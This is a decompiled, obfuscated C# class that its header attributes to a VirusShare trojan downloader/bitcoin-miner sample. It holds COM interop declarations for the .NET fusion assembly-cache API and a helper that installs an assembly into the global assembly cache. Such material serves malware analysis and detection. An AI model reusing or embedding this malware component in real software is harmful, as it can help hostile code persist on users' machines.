// Decompiled with JetBrains decompiler
// Type: .
// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe

using \u0089;
using System;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;

namespace \u0089
{
  internal sealed class \u0006
  {
    [DllImport("fusion", EntryPoint = "CreateAssemblyCache", CharSet = CharSet.Auto)]
    internal static extern int \u008A(out \u0006.\u008E ppAsmCache, uint dwReserved);

    public static bool \u008A([In] string obj0)
    {
      \u0006.\u008E ppAsmCache = (\u0006.\u008E) null;
      return \u0006.\u008A(out ppAsmCache, 0U) == 0 && ppAsmCache.\u0089(0U, obj0, IntPtr.Zero) == 0;
    }

    public struct \u0006
    {
      public int \u0001;
      public int \u0002;
    }

    public struct \u0089
    {
      public \u0006.\u0006 \u0001;
      public long \u0002;
      public Guid \u0003;
      public \u0006.\u0006 \u0004;
      public int \u0005;
      public int \u0006;
      public int \u0007;
      public \u0006.\u0006 \u0008;
      public string \u000E;
      public int \u000F;
      public int \u0010;
    }

    [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
    [Guid("0000000c-0000-0000-C000-000000000046")]
    [ComImport]
    public interface \u008A
    {
      void \u0006(IntPtr pv, uint cb, out uint pcbRead);

      void \u0089(IntPtr pv, uint cb, out uint pcbWritten);

      void \u0006(long dlibMove, uint dwOrigin, out ulong plibNewPosition);

      void \u0006(ulong libNewSize);

      void \u0006(\u0006.\u008A pstm, ulong cb, out ulong pcbRead, out ulong pcbWritten);

      void \u0006(uint grfCommitFlags);

      void \u0006();

      void \u0006(ulong libOffset, ulong cb, uint dwLockType);

      void \u0089(ulong libOffset, ulong cb, uint dwLockType);

      void \u0006(out \u0006.\u0089 pstatstg, uint grfStatFlag);

      void \u0006(out \u0006.\u008A ppstm);
    }

    [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
    [Guid("7c23ff90-33af-11d3-95da-00a024a85b51")]
    [ComImport]
    internal interface \u008B
    {
      void \u0006(\u0006.\u008C pName);

      void \u0006(out \u0006.\u008C ppName);

      void \u0006([MarshalAs(UnmanagedType.LPWStr)] string szName, int pvValue, uint cbValue, uint dwFlags);

      void \u0006([MarshalAs(UnmanagedType.LPWStr)] string szName, out int pvValue, ref uint pcbValue, uint dwFlags);

      void \u0006(out int wzDynamicDir, ref uint pdwSize);
    }

    [Guid("CD193BC0-B4BC-11d2-9833-00C04FC31D2E")]
    [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
    [ComImport]
    internal interface \u008C
    {
      [MethodImpl(MethodImplOptions.PreserveSig)]
      int \u0006(uint PropertyId, IntPtr pvProperty, uint cbProperty);

      [MethodImpl(MethodImplOptions.PreserveSig)]
      int \u0006(uint PropertyId, IntPtr pvProperty, ref uint pcbProperty);

      [MethodImpl(MethodImplOptions.PreserveSig)]
      int \u0006();

      [MethodImpl(MethodImplOptions.PreserveSig)]
      int \u0006(IntPtr szDisplayName, ref uint pccDisplayName, uint dwDisplayFlags);

      [MethodImpl(MethodImplOptions.PreserveSig)]
      int \u0006(
        object refIID,
        object pAsmBindSink,
        \u0006.\u008B pApplicationContext,
        [MarshalAs(UnmanagedType.LPWStr)] string szCodeBase,
        long llFlags,
        int pvReserved,
        uint cbReserved,
        out int ppv);

      [MethodImpl(MethodImplOptions.PreserveSig)]
      int \u0006(out uint lpcwBuffer, out int pwzName);

      [MethodImpl(MethodImplOptions.PreserveSig)]
      int \u0006(out uint pdwVersionHi, out uint pdwVersionLow);

      [MethodImpl(MethodImplOptions.PreserveSig)]
      int \u0006(\u0006.\u008C pName, uint dwCmpFlags);

      [MethodImpl(MethodImplOptions.PreserveSig)]
      int \u0006(out \u0006.\u008C pName);
    }

    [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
    [Guid("9e3aaeb4-d1cd-11d2-bab9-00c04f8eceae")]
    [ComImport]
    internal interface \u008D
    {
      void \u0006(
        [MarshalAs(UnmanagedType.LPWStr)] string pszName,
        uint dwFormat,
        uint dwFlags,
        uint dwMaxSize,
        out \u0006.\u008A ppStream);

      void \u0089(\u0006.\u008C pName);

      void \u0006(uint dwFlags);

      void \u0089(uint dwFlags);
    }

    [Guid("e707dcde-d1cd-11d2-bab9-00c04f8eceae")]
    [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
    [ComImport]
    internal interface \u008E
    {
      [MethodImpl(MethodImplOptions.PreserveSig)]
      int \u0006(uint dwFlags, [MarshalAs(UnmanagedType.LPWStr)] string pszAssemblyName, IntPtr pvReserved, out uint pulDisposition);

      [MethodImpl(MethodImplOptions.PreserveSig)]
      int \u0006(uint dwFlags, [MarshalAs(UnmanagedType.LPWStr)] string pszAssemblyName, IntPtr pAsmInfo);

      [MethodImpl(MethodImplOptions.PreserveSig)]
      int \u0006(
        uint dwFlags,
        IntPtr pvReserved,
        out \u0006.\u008D ppAsmItem,
        [MarshalAs(UnmanagedType.LPWStr)] string pszAssemblyName);

      [MethodImpl(MethodImplOptions.PreserveSig)]
      int \u0006(out object ppAsmScavenger);

      [MethodImpl(MethodImplOptions.PreserveSig)]
      int \u0089(uint dwFlags, [MarshalAs(UnmanagedType.LPWStr)] string pszManifestFilePath, IntPtr pvReserved);
    }
  }
}
